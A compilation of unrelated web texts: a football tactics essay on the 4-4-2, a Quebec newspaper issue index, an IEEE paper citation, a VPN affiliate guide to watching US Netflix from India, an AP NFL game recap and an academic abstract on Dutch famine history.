The 4-4-2 will forever be associated with English football for many reasons. Primarily, for it’s simplicity being so synonymous with the English mindset on football tactics. British managers have, over time, built a reputation for turning their nose up at acute tactics and marginal gains, holding the belief that ‘fight’ and ‘spirit’ will pull through. The early 90’s saw Fabio Capello building this “win at all costs” identity at A.C Milan; Van Gaal and Ajax popularising a Cruyffian, space-orientated style of football while a decade and a half later Guardiola and Barcelona would make their stamp on Spanish football with the 2009 tiki-taka, possession-based treble. English football, though, was in the dark when it came to having a real tactical footprint.
No team from England would win the Champions League for 15 years (1984-1999). We were outthought, outwitted and outran on the big stage. Even Ferguson’s early title-winning sides did not really triumph as a result of a particular footballing philosophy or clever system; but primarily through possessing the best squad. But what part does the 4-4-2 play in all of this ? Well although like every formation it possesses it’s variations, the 4-4-2 facilitates a very simple, limited build up. Let’s not get it twisted- no formation in football is ‘good’ or ‘bad’, it’s about choosing a system that best fits your group of players, best unlocks a certain player’s individual qualities and best minimises space for the opposition.
The 4-4-2 set up (right).
With two out-and-out centre-forwards, the 4-4-2 can bully a centre-back pairing. As a defender you do not want to be left one-on-one, but this situation becomes common when the 4-4-2 meets a back four. The ideal striker pairing is the target man- preferably tall and strong to flick on long balls or hold the ball up- and the speedster to run in behind to meet the flicks of the target man. If one centre-back marks the target man, he is leaving the other centre-back one-on-one with the speedster- a situation that is best avoided. Yes, one of the opposition’s full backs could tuck inside to help but that would leave the wide midfielders unmarked which could be particularly problematic if they decide to push on. The ideal way to combat this would be to switch to a back five, but it’s all about which players you actually have at your disposal.
A classic example of the 4-4-2 striker pairing was Alan Shearer and Chris Sutton, dubbed the SAS, who fired Blackburn Rovers to glory in 1995. While both of them can be considered traditional number 9’s the partnership still managed to flourish, with both of them displaying an incredible eye for goal. Sutton would primarily take the role of the target man though the roles could be reversed, Shearer netting 31 goals that season and his counterpart 15. Yet despite forging such a formidable duo on the pitch, the pair were not best of friends off it. Both wanted to be top dog, manifesting an almost palpable tension between the two.
At AC Milan under Arrigo Sacchi, the general plan was not to flick the long balls on, but to hold the ball up and knock it back to one of the midfielders who would pick out one of the quick wide-midfielders making a run forward.
4-4-2 chance creation and build up play
Once again, Blackburn Rovers’ 1994/95 title-winning season is the most appropriate case study for the majority of build-up play and chance creation in the 4-4-2. The long ball was, of course, a staple in the arsenal of all English clubs at the time, but there was also a huge emphasis on crosses into the box: a tactic embodied to an almost comical extent by Kenny Dalglish’s Blackburn. They absolutely abused it. Every training session revolved around working crossing positions into what Ray Harford, Dalglish’s revered assistant, labelled the ‘magic zone’. This so-called magic zone was essentially the penalty box stretched to the full width of the pitch, and the idea was that it created better quality chances for Shearer and Sutton to wreak havoc.
Training would often consist of setting up in the 4-4-2 shape and simply practising recycling the ball to the wings to cross in. One day, however, Dalglish decided to devise a ‘Plan B’. He pulled star-winger Stuart Ripley aside in training and told him that soon the widemen would be found out and ushered deeper and centrally, so he asked Ripley “where do you want the strikers to position themselves for the cross in this case”. Ripley stared back at him blankly, then responded “Are you taking the p***.”
Dalglish’s Blackburn knew only one way to play, and these rigid tactics were exposed not only in Europe against the more savvy, technical sides- but the following season as even the dim English clubs wised up to the predictability of their build-up play. Don’t get me wrong, Blackburn were an extreme example of one-dimensionality in 4-4-2 but the system in general relies heavily on two main outlets : the long ball and crosses. In a system like the 4-3-3 however, you have passing triangles all across the pitch.
The 4-3-3 midfield (diamonds) overruns the 4-4-2 midfield as is represented inside the blue square, making it easier to either keep possession or steam through. Games can be won and lost in the midfield.
In the modern era of possession-based, high-pressing football there is no place anymore for the traditional 4-4-2 since teams can simply retain the ball for as long as they like to stop the long balls coming forward. And, more crucially, the very philosophy of the system revolves around physicality- a trait which, over the past decade or two, has been proved inferior to technical ability.
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March 27 2019 Edition
It was a great day for the Irish at the 2019 Défilé de la Saint-Patrick
Posted by dylan
Published on: March 28, 2019 - 14:59
Elisabeth and Jean-Christophe (parade volunteers) cheerfully carried the Quebec Chronicle-Telegraph banner ahead of the QCT's decorated vehicle, driven by Shirley Nadeau, accompanied by Mark Lindenberg. (Photo s by Lise Lafond)
Spring comes marching in with the Défilé de la Saint-Patrick
By Shirley Nadeau
Photo: Cassandra Kerwin
Green, white and orange flag of Ireland raised at City Hall
By Cassandra Kerwin
Terence Kerwin, the president of the Défilé de la Saint-Patrick de Québec, and Michelle Morin-Doyle, Quebec City deputy mayor, raised the green, white and orange flag of Ireland beside City Hall on March 21 to mark the official beginning of four days of St. Patrick’s festivities.
Greying workers only part of the labour shortage solution
By Peter Black
I have seen the future, and it works.” That was American leftist journalist Lincoln Steffens talking about the early years of communist Russia. Well, I have seen the future, too – and it’s old guys working at supermarkets.
Irish writers highlighted in Morrin Centre’s Our Writing walking tour
This year’s Saint Patrick’s Day celebrations took place from March 21 to 24. After a flag-raising ceremony at City Hall, the festivities continued with a lecture on historic Ireland, the 10th Défilé de la Saint-Patrick de Québec, and ended with a walking tour through the Old City.
The story behind Avenue Charles-Fitzpatrick
By Bill Cox
Photo: Wikimedia Commons - Public Domain
This avenue is named in honour of Sir Charles Fitzpatrick (1851-1942). Born in Quebec City, he was the son of Mary Connolly and John Fitzpatrick, who was an Irish wood merchant and the first mayor of Sillery, from 1856 to 1859.
MEMORIALS AND THINGS OF FAME
By Researched and compiled by Lorie Pierce
March 27, 1819 – The Quebec Gazette
Sick and Destitute Strangers
Alex Harvey reigns on the Plains of Abraham
Cross-country skier Alex Harvey is Quebec City’s reigning prince. Completely humble, he wanted to end his international career on the podium at the FIS Cross-country Skiing World Cup Finals on the Plains of Abraham, which took place from March 22 to 24. He had three opportunities to accomplish his final dream: the 1.6-km Freestyle Sprint, the 15-km Mass Start and the 15-km Pursuit.
Meet Leo: the Cutest Dog in Quebec City
The winner of the QCT’s first “Cutest Dog” photo contest is (drumroll please) Leo!
Deciding among the many entries which was the “cutest dog” was no easy task for our three judges. But they felt that Leo really had that special “cuteness” factor we were looking for and the bow tie really nailed it!
Remembering Christchurch and New Zealand as it was
By Juanita Craig
Christchurch, best known in recent years for earthquakes that rocked the city, is now dealing with the aftermath of a terrorist attack that has shocked the world
On March 15, an Australian-born citizen went on a shooting rampage at two mosques, Al Noor and Linwood, leaving 50 people dead and many injured.
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An auction-based dispatch algorithm for deregulated power systems
Garng Morton Huang, Qing Zhao
The classical economic dispatch algorithm relies on the convexity of the cost function, but in a deregulated power market, the market strategy may make the seller's bidden cost function concave, and causes the classical economic dispatch algorithm to be inapplicable. To solve this problem, an efficient algorithm is proposed in this paper.
2000 IEEE Power Engineering Society, Conference Proceedings
https://doi.org/10.1109/PESW.2000.850120
IEEE Power Engineering Society Winter Meeting, 2000 - Singapore, Singapore
Duration: 23 Jan 2000 → 27 Jan 2000
IEEE Power Engineering Society Winter Meeting, 2000
Cost functions
Power markets
Economic Dispatch
Global Optimization
Indefinite Quadratic Programming
Kuhn-Tucker Theorem
NP-hard Problem
Huang, G. M., & Zhao, Q. (2000). An auction-based dispatch algorithm for deregulated power systems. In 2000 IEEE Power Engineering Society, Conference Proceedings (Vol. 2, pp. 1220-1225). [850120] Institute of Electrical and Electronics Engineers Inc.. https://doi.org/10.1109/PESW.2000.850120
An auction-based dispatch algorithm for deregulated power systems. / Huang, Garng Morton; Zhao, Qing.
2000 IEEE Power Engineering Society, Conference Proceedings. Vol. 2 Institute of Electrical and Electronics Engineers Inc., 2000. p. 1220-1225 850120.
Huang, GM & Zhao, Q 2000, An auction-based dispatch algorithm for deregulated power systems. in 2000 IEEE Power Engineering Society, Conference Proceedings. vol. 2, 850120, Institute of Electrical and Electronics Engineers Inc., pp. 1220-1225, IEEE Power Engineering Society Winter Meeting, 2000, Singapore, Singapore, 23/1/00. https://doi.org/10.1109/PESW.2000.850120
Huang GM, Zhao Q. An auction-based dispatch algorithm for deregulated power systems. In 2000 IEEE Power Engineering Society, Conference Proceedings. Vol. 2. Institute of Electrical and Electronics Engineers Inc. 2000. p. 1220-1225. 850120 https://doi.org/10.1109/PESW.2000.850120
Huang, Garng Morton ; Zhao, Qing. / An auction-based dispatch algorithm for deregulated power systems. 2000 IEEE Power Engineering Society, Conference Proceedings. Vol. 2 Institute of Electrical and Electronics Engineers Inc., 2000. pp. 1220-1225
@inproceedings{078a29adcf6d4f5fbb79a54c44b8c842,
title = "An auction-based dispatch algorithm for deregulated power systems",
abstract = "The classical economic dispatch algorithm relies on the convexity of the cost function, but in a deregulated power market, the market strategy may make the seller's bidden cost function concave, and causes the classical economic dispatch algorithm to be inapplicable. To solve this problem, an efficient algorithm is proposed in this paper.",
keywords = "Economic Dispatch, Genetic Algorithm, Global Optimization, Indefinite Quadratic Programming, Kuhn-Tucker Theorem, NP-hard Problem",
author = "Huang, {Garng Morton} and Qing Zhao",
doi = "10.1109/PESW.2000.850120",
booktitle = "2000 IEEE Power Engineering Society, Conference Proceedings",
T1 - An auction-based dispatch algorithm for deregulated power systems
AU - Huang, Garng Morton
AU - Zhao, Qing
N2 - The classical economic dispatch algorithm relies on the convexity of the cost function, but in a deregulated power market, the market strategy may make the seller's bidden cost function concave, and causes the classical economic dispatch algorithm to be inapplicable. To solve this problem, an efficient algorithm is proposed in this paper.
AB - The classical economic dispatch algorithm relies on the convexity of the cost function, but in a deregulated power market, the market strategy may make the seller's bidden cost function concave, and causes the classical economic dispatch algorithm to be inapplicable. To solve this problem, an efficient algorithm is proposed in this paper.
KW - Economic Dispatch
KW - Genetic Algorithm
KW - Global Optimization
KW - Indefinite Quadratic Programming
KW - Kuhn-Tucker Theorem
KW - NP-hard Problem
U2 - 10.1109/PESW.2000.850120
DO - 10.1109/PESW.2000.850120
BT - 2000 IEEE Power Engineering Society, Conference Proceedings
10.1109/PESW.2000.850120
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How To Watch American Netflix in India (2020 Guide)
It took a good six years but in 2016, Netflix finally opened its doors to the Indian market. A smart move considering that India has the world’s second-highest number of internet users.
However, three years down the line and Netflix has only managed to garner about 1.2 million subscribers out of the possible half a billion internet users. Still a decent number but I am sure that was not their expectation.
So, what is the problem exactly? Well, I would say the first and biggest problem is huge competition from other streaming services in the country. Disney-owned Hotstar is the most popular streaming service in India and is the biggest hurdle Netflix will have to overcome.
Another possible reason for the sluggish growth and one which we will be addressing today is the blocking of content based on geographical locations.
Netflix US has the best library of shows and movies and unfortunately, a significant number of them cannot be accessed from India.
But the good news is that there is a way to bypass this block and access the American content.
Follow along as I show you how to do it.
The Easy Way to Watch Netflix US in India
In order to view the American Netflix, your connection requests need to be coming from the US.
Now, in normal circumstances, this would mean being there physically. But these are not normal times and all you need is a VPN software that will help spoof your location so that it seems like you are in the US.
Just one problem though. There are so many VPN options that all promise to bypass the geo-restrictions but don’t live up to it.
That’s where we come in. We have tested all of them and we believe we have found one that works best. Express VPN. It has a very intuitive and straightforward interface and offers multiple locations in the US that you can use to connect to Netflix.
More on this later.
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Netflix India vs Netflix US
How exactly do these regions compare in regard to the number of titles available in each?
According to Unogs, an unofficial platform where you can search for Netflix titles, India currently has 5,539 titles. That is 247 fewer titles than the US which has 5,786. That is very impressive.
But this post is about titles that are available in Netflix US but cannot be accessed from India. And, considering that Netflix India also has its own exclusive titles, We can conclude that the number of titles that are blocked on Indian Netflix is more than 247.
Why Does Netflix Block Content in India
A number of reasons and unfortunately, none of which they have control over.
See, Netflix does not own the majority of the content in its library. What they do is approach movie studios and television networks and buy the rights to stream their content.
Unfortunately, due to the varying copyright laws in different countries, these companies may enforce restrictions that prevent the viewing of their content outside the US. Netflix has to oblige to these restrictions or they face legal repercussions.
Other times, the companies may already have sold the exclusive rights to stream their content in India to another video streaming service.
For instance, the movie Logan is not available on Netflix India because Hotstar has exclusive rights to it. However, you can still watch it on American Netflix because they have the streaming rights there.
Then the other reason that Netflix may block content in India is if it is in violation of the country’s rules and regulations. A good example is when they had to block an episode of the comedy show, Patriot Act, in Saudi Arabia due to claims that it was in violation of their Cybercrime laws.
Is Unblocking Netflix Using a VPN Legal
To put it simply, it is in violation of their terms of service. But it’s not enough a crime to get you arrested. Netflix won’t close your account for doing it either.
But that does not mean they are not doing anything about it.
They have come up with an algorithm that can detect when you are using a VPN and they will consequently block your connection until you disconnect from the VPN.
The crackdown has affected a number of VPN solutions but there are others like Express VPN that have managed to stay a step ahead. This is why you can’t just settle for any VPN just because they claim to bypass geo-restriction on their site.
How Does a VPN Software Unblock Netflix
It is able to achieve this by altering your IP address. Let’s take that back a bit.
Anytime you connect to the internet, the device you are using gets assigned a special identification number. This number is called an IP address and it’s how the internet knows specifically where to send back the requested data.
Just like a normal address, the IP also contains your physical location and that is how Netflix is able to tell where you are connecting from.
However, when you connect to a VPN software something changes. Instead of your connection requests being sent directly to the web they are first sent to the VPN servers in the location that you choose. In our case, it’s America. Here, your real IP will be discarded and a new US IP allocated to your device.
Now when Netflix receives your connection request, it will be as if you are connecting from the US.
Why is Express VPN the Best for Accessing American Netflix in India
Consistency. That’s the number one reason.
Since Netflix launched their crackdown on VPNs, many vendors have been unable to keep up. They will only work for a short while and then boom! You get hit with the proxy error.
But not Express VPN.
Even in moments when they have been detected, they are very quick to update the available addresses allowing you to continue enjoying the US Netflix library.
These are some of the other reasons why I think Express VPN is the best.
You don’t need any special skills to use this VPN software.
You just need to install their application on the device you will be using to watch Netflix, select any US server location and then connect.
Now, when you launch Netflix you will be directed to the US version.
Multiple Device Compatibility
Express VPN comes with a dedicated application for all the popular streaming devices. It doesn’t matter whether it’s an Android phone, iOS device, or a computer running on Windows, Mac, or Linux OS.
It’s also available for Samsung Smart TV, Amazon Fires Stick, Playstation, and other similar devices.
Better yet, it can be configured on your router meaning every other device you connect is VPN-protected.
Excellent Streaming Speeds
Express VPN has very minimal effects on your speeds and therefore, you don’t have to worry about continued buffering or reduced quality of videos. Unless you already had these problems.
Also, you can use the speed test feature to find the server with the best speeds for optimum performance.
Multiple Server Locations
One of the reasons some of the other VPNs are so easily detected by Netflix is because they only have a few locations and hence few IP addresses to allocate. Express VPN, on the other hand, has 28 servers in the US only and that gives you a lot to work with.
If after purchasing Express VPN it does not meet your expectations then contact their support team before 30 days are over and you will get a full refund. Which brings me to my other point.
Express VPN has a live chat option and their agents are available 24/7. Guess what? They respond in less than a minute. That is faster than my girlfriend.
So, anytime the VPN stops working with Netflix, you can contact them and they will immediately recommend the best working server location.
Unblocks other Streaming Services in Multiple Locations
On top of unblocking Netflix, Express VPN can also unlock other streaming services such as Prime Video, Hulu, and BBC iPlayer. Also, it does not work just for the US. You can use it to view content reserved for other countries like the UK, Canada, Germany, and France.
Increased Security
Although not related to unblocking Netflix, this feature is as equally important. Express VPN includes several security features that help protect and maintain your online privacy.
All the connection data being transmitted is encrypted meaning that hackers and advertisers cannot access your personal information or browsing history.
Netflix is working towards being able to offer a universal library in all regions but until then there is a limit to what you can view.
It’s not fair but at least you have a solution. Express VPN remains to be my top recommendation for unblocking Netflix and hopefully, they will always remain a step ahead of Netflix.
About PrivacySpark
© 2020 PrivacySpark
Our #1 rated VPN
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Jon Feliciano Mitch Morse Mike Vrabel Taylor Lewan Marcus Mariota Cody Ford Matt Milano Duke Williams Darryl Johnson Jr. Sean McDermott Ryan Succop Cairo Santos Chris Milton Trent Murphy Isaiah McKenzie A.J. Brown Lee Smith Kevin Byard Josh Allen Derrick Henry Jordan Phillips Mario Barrett Mario Williams Lorenzo Alexander Sports Athlete injuries Athlete health NFL football Professional football Football
Tennessee Titans Buffalo Bills Jacksonville Jaguars Miami Dolphins
Josh Allen throws 2 TD passes as Bills smother Titans 14-7
By TERESA M. WALKER - Oct. 06, 2019 05:53 PM EDT
Buffalo Bills tight end Lee Smith (85) catches an 8-yard touchdown pass in front of Tennessee Titans linebacker Reggie Gilbert (93) in the first half of an NFL football game Sunday, Oct. 6, 2019, in Nashville, Tenn. (AP Photo/James Kenney)
NASHVILLE, Tenn. (AP) — Josh Allen is starting to prove that he understands just how crucial taking care of the ball is in the NFL, especially with how well the Buffalo Bills' defense is playing right now.
Allen threw for 219 yards and two touchdowns with only one interception as the Bills beat the Tennessee Titans 14-7 Sunday in a defensive showdown for their third straight win in this series.
"I know there's a stat as a quarterback I'm 8-1 with one or less turnovers," the second-year Buffalo quarterback said. "So understanding that, playing complementary football is what we need to do and continue to improve on that."
The Bills (4-1) have won three consecutive games away from Buffalo for the first time since 2004, though so many Buffalo fans traveled here it felt much more like a home game. It's also the first time they've started a season perfect through three road games since 1993.
This game featured two of the NFL's stingiest defenses, with the Titans fourth in giving up 15.5 points, and the Bills fifth, allowing 15.8 points a game. Jordan Phillips had a career-high three sacks — by halftime — as Buffalo sacked Marcus Mariota five times even with three-time Pro Bowl left tackle Taylor Lewan back from his four-game suspension for performance-enhancers.
The Titans (2-3) sacked Allen four times only to lose their third in four games on a day their replacement kicker missed three field goals and had a fourth blocked.
"One of my great mentors, the late, great Jim Johnson, always said you need some luck, and he's right," Bills coach Sean McDermott said.
The Bills outgained the Titans 313-252 despite 11 penalties for 78 yards.
Darryl Johnson blocked Cairo Santos' 33-yard field-goal attempt in the fourth quarter, a kick that would've given the Titans the lead 10-7. Signed to fill in while Ryan Succop heals on injured reserve, Santos also pulled a 50-yard field goal wide left to start the second quarter, and a 36-yarder inside the final minute wide right. He also was wide left on a 53-yarder.
"Never had a day like this," Santos said. "Have been bouncing around with teams for a couple of years and just haven't had a performance like this."
Fans weren't happy that Titans coach Mike Vrabel sent Santos out for the 53-yard attempt with 6:31 left after the day he'd already had.
"Well, this is our kicker," Vrabel said. "This is a guy who's made some kicks for us."
Johnson's block came after Tennessee thought it had scored the go-ahead TD early in the fourth quarter when Mariota threw a pass to A.J. Brown. But officials ruled Mariota was over the line of scrimmage when he released the pass, costing the Titans the TD, a down and points after the blocked field goal.
Allen responded with Buffalo's best drive, helped by a short pass Isaiah McKenzie took 46 yards. Allen found Duke Williams for a 7-yard TD pass three plays later and a 14-7 lead with 9:46 left
The Bills quarterback looked sharp and was on target early after being cleared only Saturday from the concussion protocol ; he took a helmet-to-helmet hit in a 16-10 loss to New England last week. Allen said he felt confident as he left the field from that loss that he would be able to play against Tennessee.
Allen completed all five passes for 58 yards on the Bills' lone scoring drive of the first half. He capped the 60-yard drive with an 8-yard pass to a wide-open Lee Smith. He was 23 of 32 passing and also ran 10 times for 27 yards.
Kevin Byard picked off Allen's pass under pressure early in the third quarter for the seventh interception this season for the Bills quarterback. Derrick Henry scored on a 1-yard TD dive to turn the interception into a tie game.
DEFENSIVE SHOWDOWN
Phillips got to Mariota early and often as the Bills kept the Titans from crossing midfield much of the first half. Phillips had the most sacks by a Bills defender since Lorenzo Alexander had three on Oct. 19, 2016, at the Rams, and he was the first with three sacks by halftime since Mario Williams in 2013 against Carolina. Alexander also had a sack in this game.
Bills center Mitch Morse was taken to the locker room from the sideline by cart late in the first half. Jon Feliciano replaced him for the third quarter. LB Matt Milano hurt a hamstring, and rookie right tackle Cody Ford and DE Trent Murphy both were evaluated for head injuries in the second half.
Titans cornerback Chris Milton hurt his calf and did not return.
Bills: Bye week before hosting Miami on Oct. 20.
Titans: fourth road game of the season with a visit to Denver.
Follow Teresa M. Walker at www.twitter.com/teresamwalker
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Universiteit Utrecht /
The Seventeenth Century /
D.R. Curtis (Daniel) and J. Dijkman (Jessica)
The escape from famine in the Northern Netherlands
A reconsideration using the 1690s harvest failures and a broader Northwest European perspective
The Seventeenth Century
A long historiography has concluded that the Northern Netherlands was famine free by the seventeenth century. However, this view has been established on limited grain price data and an unclear chronology, lacking a broader comparative perspective, and relying heavily on the explanation that Amsterdam was the centre point of the international grain trade. Using newly compiled burials data for the Northern and Southern Netherlands and Northern France, and integrating these with rye prices, we confirm empirically that price spikes had reduced mortality effects in the Northern Netherlands compared to the Southern Netherlands and Northern France, though the escape was greater in the cities than the countryside. The only time in the period 1551–1699 that a strong and generalized association between price spikes and mortality occurred across wide areas of the Northern Netherlands was in the famine of 1556/7. However, the international grain trade cannot explain everything. Markets in the Northern Netherlands were no more effective at smoothing out food crises than in the Southern Netherlands or Northern France. We offer alternative explanations: the reduced role of famine-related diseases spread by warfare, and the interaction (especially in the cities) between wages and poor relief.
Keywords Famine, mortality, prices, grain trade, escape
Persistent URL dx.doi.org/10.1080/0268117X.2017.1410494, hdl.handle.net/1765/114830
Journal The Seventeenth Century
Curtis, D.R, & Dijkman, J. (2017). The escape from famine in the Northern Netherlands. The Seventeenth Century. doi:10.1080/0268117X.2017.1410494
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| 0.723182
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